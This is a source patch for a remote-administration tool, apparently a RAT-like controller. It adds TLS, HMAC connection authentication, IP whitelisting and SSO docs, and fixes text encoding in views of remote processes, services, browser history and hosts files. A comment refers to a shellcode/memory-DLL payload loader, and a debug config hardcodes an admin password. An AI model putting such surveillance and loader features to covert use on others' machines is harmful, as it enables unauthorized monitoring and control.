+V2传输已启动，共 %d 个文件 -> %s=V2 transfer started, %d file(s) -> %s
+V2下载请求已发送，共 %d 个项目=V2 download request sent, %d item(s)
+找不到主连接: clientID %llu=Main connection not found: clientID=%llu

server/2015Remote/lang/zh_TW.ini

@@ -99,6 +99,8 @@ RTT=RTT
 即时消息=即時訊息
 虚拟屏幕=虛擬桌面
 隐私屏幕=隱私螢幕
+实验功能=實驗功能
+远程画板=遠端繪圖板
 代理服务=代理服務
 注入设置=注入設定
 创建计划任务=建立排程工作
@@ -121,6 +123,7 @@ RTT=RTT
 
 ; ============================================
 ; Language Selection Dialog
+切換語言=切換語言
 ; ============================================
 选择语言 / Select Language=選擇語言
 语言:=語言:
@@ -306,6 +309,7 @@ Web
 ; ============================================
 发送消息=傳送訊息
 结束交谈=結束交談
+确定开始远程交谈吗?=確定開始遠程交談嗎?
 锁定屏幕\n屏蔽功能键=鎖定螢幕\n屏蔽功能鍵
 解除锁定=解除鎖定
 
@@ -1393,6 +1397,7 @@ RDP
 C2C 文件传输=C2C 檔案傳輸
 续传文件 (V2)=續傳檔案 (V2)
 发送文件 (V2)=傳送檔案 (V2)
+接收文件 (V2)=接收檔案 (V2)
 发送文件(%d/%d): %.2f%%=发送文件(%d/%d): %.2f%%
 接收文件(%d/%d): %.2f%%=接收文件(%d/%d): %.2f%%
 [远程右键复制, 本地 Ctrl+V 粘贴]= [遠端右鍵複製, 本地 Ctrl+V 貼上]
@@ -2059,7 +2064,7 @@ JPEG
 不限速=不限速
 %s · 约 %.2f MB/s=%s · 約 %.2f MB/s
 %s · 不受限速（受网络带宽约束）=%s · 不限速（受網路頻寬限制）
-文件传输速度已保存。上传速度重启主控端后生效；下载速度下次打开文件管理或远程桌面后生效。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效；下載速度下次開啟檔案管理或遠端桌面後生效。
+文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效；下載速度已推送到線上用戶端，新連線的主機也會自動取得。
 
 连接管理=連線管理
 %s - 连接管理=%s - 連線管理
@@ -2070,3 +2075,31 @@ JPEG
 连接数:%d=連線數:%d
 强制断开=強制中斷
 远程交谈=遠程交談
+
+; ===== TLS =====
+TLS证书(&T)...=TLS 憑證(&T)...
+TLS证书=TLS 憑證
+启用加密=啟用加密
+证书路径=憑證路徑
+私钥路径=私鑰路徑
+请填写证书路径=請填寫憑證路徑
+请填写私钥路径=請填寫私鑰路徑
+TLS 配置已保存。=TLS 設定已儲存。
+改动对新建连接即时生效。=變更對新連線即時生效。
+证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。=憑證/私鑰載入失敗，加密功能未生效。請檢查檔案路徑與格式（憑證 PEM、私鑰 PKCS#8）。
+TLS传输=TLS 傳輸
+取消TLS=停用 TLS
+确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）=確定對選取主機啟用 TLS 傳輸嗎？（用戶端下次啟動生效）
+确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）=確定取消選取主機的 TLS 傳輸嗎？（用戶端下次啟動生效）
+服务端未启用 TLS 证书，无法切换客户端 TLS 传输=伺服器未啟用 TLS 憑證，無法切換用戶端 TLS 傳輸
+读取服务端 TLS 证书失败，无法下发=讀取伺服器 TLS 憑證失敗，無法下發
+白名单=白名單
+确定将选中日志中的 IP 加入白名单吗？=確定將選取日誌中的 IP 加入白名單嗎？
+已将 %d 个 IP 加入白名单=已將 %d 個 IP 加入白名單
+%d 个 IP 已在白名单中=%d 個 IP 已在白名單中
+%d 个 IP 已封禁，无法加入白名单=%d 個 IP 已封禁，無法加入白名單
+%s 文件句柄无效=%s 檔案控制代碼無效
+没有选中任何文件=沒有選取任何檔案
+V2传输已启动，共 %d 个文件 -> %s=V2 傳輸已啟動，共 %d 個檔案 -> %s
+V2下载请求已发送，共 %d 个项目=V2 下載請求已傳送，共 %d 個項目
+找不到主连接: clientID %llu=找不到主連線: clientID=%llu

server/2015Remote/resource.h

@@ -287,6 +287,8 @@
 #define IDB_BITMAP_FILE_MANAGER         407
 #define IDB_BITMAP_PRIVACY_SHIELD       408
 #define IDB_BITMAP_DRAWING_BOARD        409
+#define IDB_BITMAP_TLS_ENABLE           410
+#define IDB_BITMAP_TLS_DISABLE          411
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -1008,9 +1010,11 @@
 #define ID_MSGLOG_LOGIN_NOTIFY          33079
 #define ID_MSGLOG_BAN_IP                33080
 #define ID_MSGLOG_UNBAN_IP              33081
+#define ID_MSGLOG_WHITELIST_IP          33096
 #define ID_WEB_REMOTE_CONTROL           33044
 #define ID_TOOL_PLUGIN_SETTINGS         33045
 #define ID_MCP_SETTINGS                 33077
+#define ID_TLS_CERTIFICATE              33093
 #define ID_CONNECTION_MANAGE            33086
 #define ID_CONNECTION_KILL              33087
 #define ID_CONNECTION_REFRESH           33088
@@ -1018,6 +1022,8 @@
 #define ID_EXPERIMENT_FILE_MANAGER      33090
 #define ID_EXPERIMENT_PRIVATE_SCREEN    33091
 #define ID_EXPERIMENT_DRAWING_BOARD     33092
+#define ID_EXPERIMENT_TLS_ENABLE        33094
+#define ID_EXPERIMENT_TLS_DISABLE       33095
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
@@ -1077,13 +1083,46 @@
 #define IDC_FSPEED_LABEL                2591
 #define IDC_FSPEED_RESET                2592
 
+// 高级菜单三个对话框的静态文本（显式在 OnInitDialog 设置中文，修复非中文系统乱码）
+#define IDC_QLEVEL_LABEL_LEVEL          2593
+#define IDC_QLEVEL_LABEL_FPS            2594
+#define IDC_QLEVEL_LABEL_WIDTH          2595
+#define IDC_QLEVEL_LABEL_ALGO           2596
+#define IDC_QLEVEL_LABEL_BITRATE        2597
+#define IDC_QLEVEL_LABEL_LEVEL0         2598    // 2598~2603：Ultra..Minimal 六档
+#define IDC_QLEVEL_LABEL_LEVEL1         2599
+#define IDC_QLEVEL_LABEL_LEVEL2         2600
+#define IDC_QLEVEL_LABEL_LEVEL3         2601
+#define IDC_QLEVEL_LABEL_LEVEL4         2602
+#define IDC_QLEVEL_LABEL_LEVEL5         2603
+#define IDC_QLEVEL_LABEL_HINT           2604
+
+#define IDC_PLEVEL_LABEL_LEVEL          2605
+#define IDC_PLEVEL_LABEL_WIDTH          2606
+#define IDC_PLEVEL_LABEL_QUALITY        2607
+#define IDC_PLEVEL_LABEL_LEVEL0         2608    // 2608~2613：Ultra..Minimal 六档
+#define IDC_PLEVEL_LABEL_LEVEL1         2609
+#define IDC_PLEVEL_LABEL_LEVEL2         2610
+#define IDC_PLEVEL_LABEL_LEVEL3         2611
+#define IDC_PLEVEL_LABEL_LEVEL4         2612
+#define IDC_PLEVEL_LABEL_LEVEL5         2613
+#define IDC_PLEVEL_LABEL_HINT           2614
+
+#define IDC_FSPEED_HINT                 2615
+#define IDC_FSPEED_LABEL_SLOWEST        2616
+#define IDC_FSPEED_LABEL_DEFAULT        2617
+#define IDC_FSPEED_LABEL_UNLIMITED      2618
+
+// 触发器设置对话框的分组框（显式在 OnInitDialog 设置中文，修复非中文系统乱码）
+#define IDC_STATIC_TRIGGER_LIST         2619
+
 // Next default values for new objects
 //
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        410
-#define _APS_NEXT_COMMAND_VALUE         33093
-#define _APS_NEXT_CONTROL_VALUE         2593
+#define _APS_NEXT_RESOURCE_VALUE        412
+#define _APS_NEXT_COMMAND_VALUE         33097
+#define _APS_NEXT_CONTROL_VALUE         2620
 #define _APS_NEXT_SYMED_VALUE           105
 #endif
 #endif

server/2015Remote/sys/MachineDlg.cpp

@@ -386,6 +386,27 @@ void CMachineDlg::DeleteList()
         PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("请等待数据返回...")), 0);
 }
 
+// 按指定代码页把客户端字节串解码为宽字符串，经 LVM_SETITEMTEXTW 直接写入列表单元格，
+// 绕开 ANSI→CP_ACP 回转——非中文 ACP 服务端上，客户端 GBK 中文（进程名/窗口标题/服务名/
+// 连接状态等）也能正常显示（与 SystemDlg::SetClientTextItem 同法）。
+static void SetMachineItemText(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 void CMachineDlg::ShowProcessList()
 {
     m_list.InsertColumnL(0, _T("映像名称"), LVCFMT_LEFT, 100);
@@ -417,7 +438,8 @@ void CMachineDlg::ShowProcessList()
 
         LPDWORD	lpdwFileSize = LPDWORD((byte*)strProcessUser + lstrlen(strProcessUser) * sizeof(char) + 2 + sizeof(DWORD));
 
-        m_list.InsertItem(i, strExeFile, 0);
+        m_list.InsertItem(i, "", 0);
+        SetMachineItemText(m_list, i, 0, strExeFile, 936);
 
         str.FormatL(_T("%5u"), *lpPID);
         m_list.SetItemText(i, 1, str);
@@ -427,7 +449,7 @@ void CMachineDlg::ShowProcessList()
         str.FormatL(_T("%5u"), *lpdwThreads);
         m_list.SetItemText(i, 3, str);
 
-        m_list.SetItemText(i, 4, strProcessUser);
+        SetMachineItemText(m_list, i, 4, strProcessUser, 936);
 
         str.FormatL(_T("%5u K"), *lpdwWorkingSetSize);
         m_list.SetItemText(i, 5, str);
@@ -435,9 +457,9 @@ void CMachineDlg::ShowProcessList()
         str.FormatL(_T("%5u KB"), *lpdwFileSize);
         m_list.SetItemText(i, 6, str);
 
-        m_list.SetItemText(i, 7, strProcessName);
+        SetMachineItemText(m_list, i, 7, strProcessName, 936);
 
-        m_list.SetItemText(i, 8, szBuf_title);
+        SetMachineItemText(m_list, i, 8, szBuf_title, 936);
 
         m_list.SetItemText(i, 9, (*is64) ? _T("x64") : _T("x86"));
         // ListItem 为进程ID
@@ -478,7 +500,7 @@ void CMachineDlg::ShowWindowsList()
         char t_hwnd[250];
         _stprintf_s(t_hwnd, 250, _T("%d"), m_ibfo.m_hwnd);
         m_list.SetItemText(i, 1, t_hwnd);
-        m_list.SetItemText(i, 2, m_ibfo.strTitle);
+        SetMachineItemText(m_list, i, 2, m_ibfo.strTitle, 936);
         m_list.SetItemText(i, 3, m_ibfo.canlook ? _L(_T("显示")) : _L(_T("隐藏")));
         str.FormatL(_T("%d*%d"), m_ibfo.w, m_ibfo.h);
         m_list.SetItemText(i, 4, str);
@@ -515,7 +537,8 @@ void CMachineDlg::ShowNetStateList()
         for (int j = 0; j < 7; j++) {
             if (j == 0) {
                 char* lpString = (char*)(lpBuffer + dwOffset);
-                m_list.InsertItem(i, lpString, 0);
+                m_list.InsertItem(i, "", 0);
+                SetMachineItemText(m_list, i, 0, lpString, 936);
                 dwOffset += lstrlen(lpString) * sizeof(char) + 2;
             } else if (j == 1) {
                 LPDWORD	lpPID = LPDWORD(lpBuffer + dwOffset);
@@ -539,7 +562,8 @@ void CMachineDlg::ShowNetStateList()
             } else {
                 char* lpString = (char*)(lpBuffer + dwOffset);
 
-                m_list.SetItemText(i, j, lpString);
+                // 协议/地址为 ASCII，连接状态为 GBK 中文（监听/连接/正在关闭…），统一按 GBK 解码写入
+                SetMachineItemText(m_list, i, j, lpString, 936);
                 dwOffset += lstrlen(lpString) * sizeof(char) + 2;
             }
         }
@@ -562,10 +586,12 @@ void CMachineDlg::ShowSoftWareList()
     for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) {
         for (int j = 0; j < 5; j++) {
             char* lpString = (char*)(lpBuffer + dwOffset);
-            if (j == 0)
-                m_list.InsertItem(i, lpString, 0);
-            else
-                m_list.SetItemText(i, j, lpString);
+            if (j == 0) {
+                m_list.InsertItem(i, "", 0);
+                SetMachineItemText(m_list, i, 0, lpString, 936);
+            } else {
+                SetMachineItemText(m_list, i, j, lpString, 936);
+            }
 
             dwOffset += lstrlen(lpString) * sizeof(char) + 2;
         }
@@ -588,8 +614,8 @@ void CMachineDlg::ShowIEHistoryList()
         str.FormatL(_T("%d"), i);
         m_list.InsertItem(i, str, 0);
         m_list.SetItemText(i, 1, p_Browsinghistory->strTime);
-        m_list.SetItemText(i, 2, p_Browsinghistory->strTitle);
-        m_list.SetItemText(i, 3, p_Browsinghistory->strUrl);
+        SetMachineItemText(m_list, i, 2, p_Browsinghistory->strTitle, 936);
+        SetMachineItemText(m_list, i, 3, p_Browsinghistory->strUrl, 936);
         dwOffset += sizeof(Browsinghistory);
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
     }
@@ -606,10 +632,12 @@ void CMachineDlg::ShowFavoritesUrlList()
     for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) {
         for (int j = 0; j < 2; j++) {
             char* lpString = (char*)((char*)lpBuffer + dwOffset);
-            if (j == 0)
-                m_list.InsertItem(i, lpString, 0);
-            else
-                m_list.SetItemText(i, j, lpString);
+            if (j == 0) {
+                m_list.InsertItem(i, "", 0);
+                SetMachineItemText(m_list, i, 0, lpString, 936);
+            } else {
+                SetMachineItemText(m_list, i, j, lpString, 936);
+            }
 
             dwOffset += lstrlen(lpString) * sizeof(char) + 2;
         }
@@ -642,14 +670,15 @@ void CMachineDlg::ShowServiceList()
         char* ServiceName = InterActive + lstrlen(InterActive) + 1;
         char* serfile = ServiceName + lstrlen(ServiceName) + 1;
 
-        m_list.InsertItem(i, DisplayName, 0);
-        m_list.SetItemText(i, 1, Describe);
-        m_list.SetItemText(i, 2, serRunway);
-        m_list.SetItemText(i, 3, serauto);
-        m_list.SetItemText(i, 4, Login);
-        m_list.SetItemText(i, 5, InterActive);
-        m_list.SetItemText(i, 6, ServiceName);
-        m_list.SetItemText(i, 7, serfile);
+        m_list.InsertItem(i, "", 0);
+        SetMachineItemText(m_list, i, 0, DisplayName, 936);
+        SetMachineItemText(m_list, i, 1, Describe, 936);
+        SetMachineItemText(m_list, i, 2, serRunway, 936);
+        SetMachineItemText(m_list, i, 3, serauto, 936);
+        SetMachineItemText(m_list, i, 4, Login, 936);
+        SetMachineItemText(m_list, i, 5, InterActive, 936);
+        SetMachineItemText(m_list, i, 6, ServiceName, 936);
+        SetMachineItemText(m_list, i, 7, serfile, 936);
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
 
         dwOffset += lstrlen(DisplayName) + lstrlen(Describe) + lstrlen(serRunway) + lstrlen(serauto) +
@@ -694,10 +723,11 @@ void CMachineDlg::ShowTaskList()
 
         str = taskpath;
         str.Replace(taskname, _T(""));
-        m_list.SetItemText(i, 1, str);
-        m_list.SetItemText(i, 2, taskname);
-        m_list.SetItemText(i, 3, exepath);
-        m_list.SetItemText(i, 4, status);
+        // 任务名/目录/程序路径来自客户端 BSTRToUTF8，为 UTF-8；状态为 GBK 字面量（运行中/已禁用…）
+        SetMachineItemText(m_list, i, 1, str.GetString(), CP_UTF8);
+        SetMachineItemText(m_list, i, 2, taskname, CP_UTF8);
+        SetMachineItemText(m_list, i, 3, exepath, CP_UTF8);
+        SetMachineItemText(m_list, i, 4, status, 936);
         str = oleTime2Str(lasttime);
         m_list.SetItemText(i, 5, str);
         str = oleTime2Str(nexttime);
@@ -722,10 +752,23 @@ void CMachineDlg::ShowHostsList()
     char* buf=nullptr;
     char* lpString = (char*)lpBuffer;
     const char* d = "\n";
+
+    // hosts 文件由客户端原样读盘后发送，未做编码转换（client/MachineManager.cpp SendHostsList）。
+    // 记事本默认把 hosts 存成 UTF-8 带 BOM（EF BB BF）；若按 GBK 解，首行会显示成 "锘?"。
+    // 识别 BOM：UTF-8 按 UTF-8 解并跳过 BOM，其余仍按 GBK（无 BOM 的中文/英文 hosts）。
+    // （UTF-16 hosts 极少见，此处未处理，保持原有行为。）
+    UINT cp = 936;
+    int dataLen = (int)m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1;
+    if (dataLen >= 3 && (BYTE)lpString[0] == 0xEF && (BYTE)lpString[1] == 0xBB && (BYTE)lpString[2] == 0xBF) {
+        cp = CP_UTF8;
+        lpString += 3;                   // 跳过 BOM
+    }
+
     char* p = strtok_s(lpString, d, &buf);
     while (p) {
         CString tem = p;
-        m_list.InsertItem(i, tem);
+        m_list.InsertItem(i, "");
+        SetMachineItemText(m_list, i, 0, tem.GetString(), cp);
         p = strtok_s(NULL, d, &buf);
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
         i++;

server/go/.vscode/launch.json

@@ -13,7 +13,9 @@
                 "--http-port=8080"
             ],
             "env": {
-                "YAMA_WEB_ADMIN_PASS": "3.14159"
+                "YAMA_WEB_ADMIN_PASS": "3.14159",
+                "YAMA_TLS_CERT": "${workspaceFolder}/certs/server.crt",
+                "YAMA_TLS_KEY": "${workspaceFolder}/certs/server.key"
             },
             "console": "integratedTerminal",
             "preLaunchTask": "sync-web-assets"
@@ -30,7 +32,9 @@
                 "--http-port=8080"
             ],
             "env": {
-                "YAMA_WEB_ADMIN_PASS": "3.14159"
+                "YAMA_WEB_ADMIN_PASS": "3.14159",
+                "YAMA_TLS_CERT": "${workspaceFolder}/certs/server.crt",
+                "YAMA_TLS_KEY": "${workspaceFolder}/certs/server.key"
             },
             "console": "integratedTerminal",
             "buildFlags": "-gcflags='all=-N -l'",

server/go/README.md

@@ -170,6 +170,7 @@ VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
 | `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` |
 | `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` |
 | `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
+| `YAMA_SSO_JWT_SECRET` | **[SSO]** Shared HS256 secret for bridging the parent portal's `auth_token` JWT into a YAMA web session via `/sso`. Must equal the upstream portal's signing key (FMS: `SERVER_PRIVATE_KEY`). **Only `admin` portal users are auto-logged-in**; other roles still need YAMA's own web login. Unset → SSO disabled, `/sso` returns 401. | `<shared-secret>` |
 
 ```bash
 # Linux/macOS
@@ -598,6 +599,52 @@ nohup ./server_linux_amd64 -p 6543 --http-port=8080 --no-console &
 - 受管设备的 `client.exe` 由 Windows 主控端生成（已绑定服务端地址和公钥），下级运营商把它分发给终端用户。
   client 通过 6543 端口连接到本服务端；用户通过 8080 端口登录 Web 管理页面。
 
+### 验证与排障
+
+下级服务是否真的拿到付费授权，两侧各看一行日志即可定位：
+
+| 现象 | 授权中心日志（`logs/server.log`） | 下级启动日志 | 结论 |
+| ---- | -------------------------------- | ------------ | ---- |
+| 付费生效 | `License Server: signed for sub=<客户名> ... active=N/M ttl=...` | `Signer mode: REMOTE (paid customer, ...)` | ✅ 正常 |
+| 匿名试用 | `License Server: signed for sub=trial:<下级出口IP> ...` | `Signer mode: TRIAL (...)` | ⚠️ 下级没读到 `YAMA_LICENSE_TOKEN` |
+| token 无效 | nginx access.log 里 `/license/sign` 回 `401` | `Signer mode: REMOTE` 但设备连不上 | ⚠️ token 过期 / 密钥不匹配 / 被篡改 |
+
+**关键区分**：`sub=trial:<IP>` 表示下级请求**根本没带 `Authorization` 头**（token 为空，等于没读到），
+而不是 token 错 —— token 错会返回 401。两者根因不同，别误判成「token 配错了」。
+
+#### systemd 改 env 文件后不生效（最常见坑）
+
+`EnvironmentFile=` 只在服务**启动那一刻**读一次，改文件不会热更新，必须重启服务。典型表现就是
+改了 `YAMA_LICENSE_TOKEN` 后日志仍显示 `Signer mode: TRIAL`。
+
+```bash
+# 1. 确认运行中的进程到底有没有读到该变量（这才是真相）
+PID=$(systemctl show <服务名> -p MainPID --value)
+tr '\0' '\n' < /proc/$PID/environ | grep -i YAMA_LICENSE_TOKEN || echo "进程里没有该变量"
+
+# 2. 重启后再验一次 + 看启动日志
+systemctl daemon-reload && systemctl restart <服务名>
+journalctl -u <服务名> --no-pager -n 40 | grep -iE "signer mode"
+```
+
+下级日志出现 `Signer mode: REMOTE` 说明 token 已读入；授权中心日志出现 `sub=<客户名>` 即全链路闭环。
+
+### SSO（单点登录，可选）
+
+Web UI 挂在已有域名（如 FMS 网关）的 `/remoter` 子路径下时，可让**已登录门户的管理员免二次登录**直接进远程桌面管理页。设 `YAMA_SSO_JWT_SECRET`（= 上游门户的 HS256 签名密钥，FMS 即 `SERVER_PRIVATE_KEY`）后启用：
+
+```bash
+export YAMA_SSO_JWT_SECRET="与上游门户一致的共享密钥"
+```
+
+行为：
+
+- `/sso` 校验浏览器携带的 `auth_token` cookie（或 `Authorization: Bearer`），通过后铸一枚 YAMA 自己的会话 token 返回给前端。
+- **只有 `admin` 角色的门户用户会被自动登录**；其他角色（viewer / 未知）即使已登录门户，`/sso` 仍返回 401，前端回退到 YAMA 自带的 Web 登录表单，必须再输一遍 YAMA 的登录密码。
+- 未配置 `YAMA_SSO_JWT_SECRET` 时 `/sso` 恒 401，行为等同纯本地登录。
+
+注意：SSO 只桥接「识别门户身份」，YAMA 本地登录（账号 + 密码）始终保留作为兜底；自动登录后的角色权限仍由 YAMA 自己的账号体系决定。
+
 ## License
 
 MIT License

server/go/certs/.gitignore

@@ -0,0 +1,4 @@
+# 私钥与中间产物不入库；.crt 为公钥证书，可提交
+*.key
+*.csr
+*.srl

server/go/certs/server.crt

@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDLDCCAhSgAwIBAgIUPkDGqH/CbV5Qgy3mFPOJ4VwdZq0wDQYJKoZIhvcNAQEL
+BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MTAxNDEzMDMwMVoXDTM2MTAx
+MTEzMDMwMVowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF
+AAOCAQ8AMIIBCgKCAQEAh+nNFRRn9pK94OfgUv7hqVPI774HyUoMEzgiAx/XB3Mf
+UdEkJExvtMnHGT4FSlQ80oi1cIUuh/9svYCyPVwGuY1Bd5Jt8me9pN9CY7kJmFl+
+MlBv8mz34e5gNwrybd2orn/2RATmVPCgQ82nXRmY8vFqs6KA/Eqh5Sd8S+b2rUs7
+wzlg80lDQtH/7Bf7egsQ+cYS3Xeex6H82Q9AwVpvljjrst7HI+kxKEifHRsE/amW
+Bx88evqx8keE0AQ30gyXsbIRgID+LF8jcFf3WzMx+cqYStn9JJG+SlakaIlKw2I6
+FCES/UTSYoFsk06EaOy+od2+wo6jpfkJCGdEItlJlwIDAQABo3YwdDAgBgNVHREE
+GTAXgglsb2NhbGhvc3SHBH8AAAGHBAAAAAAwDAYDVR0TAQH/BAIwADAOBgNVHQ8B
+Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwHQYDVR0OBBYEFBoxa/G+knDe
+DBs5vl+Nrdxy0uJpMA0GCSqGSIb3DQEBCwUAA4IBAQCBE/Xj13AzPhxZacbdAvpn
+xNxfF+3wJs9j0qo8w2LcB+x10pe8/ay2Gs0ThZc63o/LqDxlS6LrRvkjRlypM+Ls
+gahajW0hJs+sXfa+EhcJx6c1IR/uolSpRYuel/Ui6Xvhsr11BTpsgrHZdcYlKZqf
+75mX0byKRoPVkG/dIVPWpnoFkm8BLJdlZ0OpgGL9iyBVqgH0rw5hejnDZVVH2K4g
+0ZeE9QUbNl0oS01bpBJfCJfZT70+38yU61TTegpZEzCTBTMKccNU3hKnX7n9C7ZM
+JMb0lEZ/IuCaOxmpz5zmHPa4bibkAPSbpozOKP3S48zQPDEa58CvSUlVIrmo7+d+
+-----END CERTIFICATE-----

server/go/cmd/main.go

@@ -2,7 +2,10 @@ package main
 
 import (
 	"context"
+	"crypto/hmac"
+	"crypto/sha256"
 	"encoding/binary"
+	"encoding/hex"
 	"flag"
 	"fmt"
 	"net/http"
@@ -26,11 +29,13 @@ import (
 
 // MyHandler implements the server.Handler interface
 type MyHandler struct {
-	log    *logger.Logger
-	auth   *auth.Authenticator
-	srv    *server.Server
-	hub    *hub.Hub
-	signer licensing.Signer // CMD_MASTERSETTING signer (local / remote / noop)
+	log         *logger.Logger
+	auth        *auth.Authenticator
+	srv         *server.Server
+	hub         *hub.Hub
+	signer      licensing.Signer    // CMD_MASTERSETTING signer (local / remote / noop)
+	loginLimit  *wsauth.RateLimiter // per-IP TOKEN_AUTH throttle
+	connAuthKey []byte              // nil = ConnAuth HMAC verification disabled (legacy always-OK)
 }
 
 // OnConnect is called when a client connects
@@ -141,6 +146,11 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
 		// overlay learns to render arbitrary BGRA images. Drop silently for
 		// now; the standard IDC_* index (data[10] of every frame header) is
 		// what we actually use right now.
+	case protocol.CmdSockDllLoader:
+		// SOCKET_DLLLOADER (210): the shellcode / memory-DLL loader asks for the
+		// full DLL payload before it can load the client. Serving it is the MFC
+		// 主控端's job (server/2015Remote SendServerDll); this web device port has
+		// no payload to hand out, so drop it silently instead of logging "Unhandled".
 	default:
 		// Other commands are not implemented yet
 		h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
@@ -153,12 +163,25 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
 // on our 256-byte ConnAuthAck. Without an OK reply the client closes the
 // connection, so a missing ack here means nothing else can proceed.
 //
-// The handshake includes an HMAC signature field. The reference server
-// treats verification failures as soft (logs and still allows commands),
-// and the signing primitive lives in a vendored component out of scope
-// for this server, so we always reply OK and let TOKEN_BITMAPINFO carry
-// the device ID via offset 41 when the screen sub-conn proceeds.
+// When the operator supplied YAMA_CONN_AUTH_KEY, the packet's HMAC-SHA256
+// signature and timestamp are verified first (see verifyConnAuth); a bad
+// packet is answered with a non-OK status and the sub-conn is dropped.
+// Without a key we keep the legacy behavior: always reply OK and let
+// TOKEN_BITMAPINFO carry the device ID via offset 41 when the screen
+// sub-conn proceeds.
 func (h *MyHandler) handleConnAuth(ctx *connection.Context, data []byte) {
+	// When the operator supplied a ConnAuth HMAC key (YAMA_CONN_AUTH_KEY),
+	// verify the packet's signature and timestamp before trusting its
+	// clientID. This closes the sub-connection hijack hole that the
+	// source-IP check in hub.BindScreenConn otherwise alone guards against.
+	// A nil key preserves the legacy always-OK behavior.
+	if len(h.connAuthKey) > 0 {
+		if status := h.verifyConnAuth(data); status != protocol.ConnAuthStatusOK {
+			h.rejectConnAuth(ctx, status)
+			return
+		}
+	}
+
 	// Pin the parent device's ClientID onto the sub-conn. Without this,
 	// later 1-byte tokens (TOKEN_TERMINAL_START / TOKEN_SHELL_START) have
 	// no way to identify which device they belong to — they carry no
@@ -187,6 +210,61 @@ func (h *MyHandler) handleConnAuth(ctx *connection.Context, data []byte) {
 	}
 }
 
+// verifyConnAuth checks the ConnAuthPacket's HMAC-SHA256 signature and its
+// timestamp against the configured shared key. Returns a ConnAuthStatus code
+// (OK on success).
+func (h *MyHandler) verifyConnAuth(data []byte) byte {
+	// Need the full [token][clientID][timestamp][nonce][signature] prefix.
+	if len(data) < protocol.ConnAuthOffSignature+protocol.ConnAuthSignatureSize {
+		return protocol.ConnAuthStatusBadSize
+	}
+
+	// Anti-replay: the client signs its own Unix timestamp, so an old (but
+	// valid) packet cannot be replayed once it leaves the tolerance window.
+	ts := binary.LittleEndian.Uint64(
+		data[protocol.ConnAuthOffTimestamp : protocol.ConnAuthOffTimestamp+8])
+	now := uint64(time.Now().Unix())
+	var skew uint64
+	if now >= ts {
+		skew = now - ts
+	} else {
+		skew = ts - now
+	}
+	if skew > protocol.ConnAuthTimestampToleranceSec {
+		return protocol.ConnAuthStatusClockSkew
+	}
+
+	// HMAC-SHA256 over clientID||timestamp||nonce (offsets 1..33), matching
+	// the client's signMessage("", sigInput, 32). The client stores the hex
+	// encoding of the 32-byte digest in the 64-byte signature field.
+	mac := hmac.New(sha256.New, h.connAuthKey)
+	mac.Write(data[protocol.ConnAuthOffClientID:protocol.ConnAuthOffSignature])
+	want := make([]byte, protocol.ConnAuthSignatureSize)
+	hex.Encode(want, mac.Sum(nil))
+	if !hmac.Equal(want, data[protocol.ConnAuthOffSignature:protocol.ConnAuthOffSignature+protocol.ConnAuthSignatureSize]) {
+		return protocol.ConnAuthStatusBadSignature
+	}
+	return protocol.ConnAuthStatusOK
+}
+
+// rejectConnAuth replies with a non-OK ConnAuth status and closes the
+// sub-connection. The client (IOCPClient::TryHandleAuthResponse) treats any
+// non-zero status as failure and disconnects, so the close here is
+// belt-and-suspenders for peers that don't.
+func (h *MyHandler) rejectConnAuth(ctx *connection.Context, status byte) {
+	ack := make([]byte, protocol.ConnAuthAckSize)
+	ack[0] = protocol.TokenConnAuth
